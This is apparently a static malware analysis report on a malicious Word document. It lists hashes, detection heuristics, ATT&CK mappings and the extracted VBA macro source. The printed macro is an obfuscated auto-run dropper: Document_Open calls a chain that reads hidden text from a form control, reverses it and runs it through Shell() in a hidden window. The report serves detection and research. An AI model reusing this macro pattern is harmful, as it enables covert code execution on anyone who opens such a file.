Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 dcf3c03887af46b3…

MALICIOUS

Office (OOXML)

78.3 KB Created: 2019-03-18 17:53:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2020-09-04
MD5: fe2d1caa2d52000efcd19ea1ea31d254 SHA-1: 6496aa6a299bc606ee9d058bdf4f0d826a2e4541 SHA-256: dcf3c03887af46b3160d984a6268ac3fcc6e659895ba4721e952ecaf363cfbdb
222 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The sample is an OOXML document containing a VBA macro that automatically executes upon opening. This macro utilizes the Shell() function, indicating an attempt to execute arbitrary commands. The ClamAV heuristic also flags it as a dropper, suggesting it's designed to download and execute further malicious content.

Heuristics 6

  • ClamAV: Doc.Dropper.Agent-6899351-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6899351-0
  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/In document text (OOXML body / shared strings)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OOXML body / shared strings)
    • http://purl.org/dc/elements/1.1/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/photoshop/1.0/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/tiff/1.0/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/exif/1.0/In document text (OOXML body / shared strings)
    • http://www.iec.chIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1955 bytes
SHA-256: 1fc349159353630fe582d2e544a0b27f5c66d39a6628d4e98a2c31bfc45a794f
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Sub Document_Open()


Dim RgeJIsB As Byte
RgeJIsB = 126
Dim q4H2mwp56 As Boolean
q4H2mwp56 = False

Dim v7bBxp As Byte
v7bBxp = 148
i9900k
End Sub

Attribute VB_Name = "NexFaBP"
Sub zgedb5uE()
Dim Md53kf8 As Single
Md53kf8 = Fix(63298.888186878)
End Sub
Public Sub i9900k()
Dim piy0w As Long
piy0w = 0
Dim s4dUncq2 As Boolean
s4dUncq2 = False
Dim AWpR8M As Boolean
AWpR8M = True
Dim cDoNYM As Long
cDoNYM = Sgn(-1578441454)
Dim DAHsW4wge As Long
DAHsW4wge = -335364396
zGZ20tm8$
End Sub

Attribute VB_Name = "IvHpl"
Sub xDQze()
End Sub
Sub V7LCHEVbx()
End Sub
Function pcbBtz(sYNoxQh, EzDka) As String
Dim UPQ2DvJWM As Boolean
UPQ2DvJWM = False
Dim WLqv4a6J As Single
WLqv4a6J = 23197.750737484
pcbBtz = Shell(StrReverse(sYNoxQh), 0)
End Function

Attribute VB_Name = "RCUzh"
Sub PtNBJO8Yp()
End Sub
Public Function zGZ20tm8() As String
Dim PvWP6
PvWP6 = "&"
Dim Mb0KC As Single
Mb0KC = Sgn(51873.055630678)
Dim nuZzfEa8j As Object
Set nuZzfEa8j = New fm
Dim Vih9Ldw As Byte
Vih9Ldw = 63
Dim RDbFnvZl7 As String
Dim PnHE18cfu As String
PnHE18cfu = Len(jhaGfR)
RDbFnvZl7 = nuZzfEa8j.monday.Text
Dim oqEHOy2 As Long
oqEHOy2 = -1101752412
Dim DxTqzWD As Double
DxTqzWD = Sgn(39646.160630077)
RDbFnvZl7 = pcbBtz(RDbFnvZl7, 28928 / 113)
zGZ20tm8 = RDbFnvZl7
End Function

Attribute VB_Name = "fm"
Attribute VB_Base = "0{38DFB29E-5608-4364-9A9B-0D444F94F45E}{023AECA8-FFDA-47EE-8FAE-2CF97F0B7C44}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 22528 bytes
SHA-256: d2bc6919d8d1cce1b25fdf7ea6fb0142815f52eb036d6924524208d4264cb9d0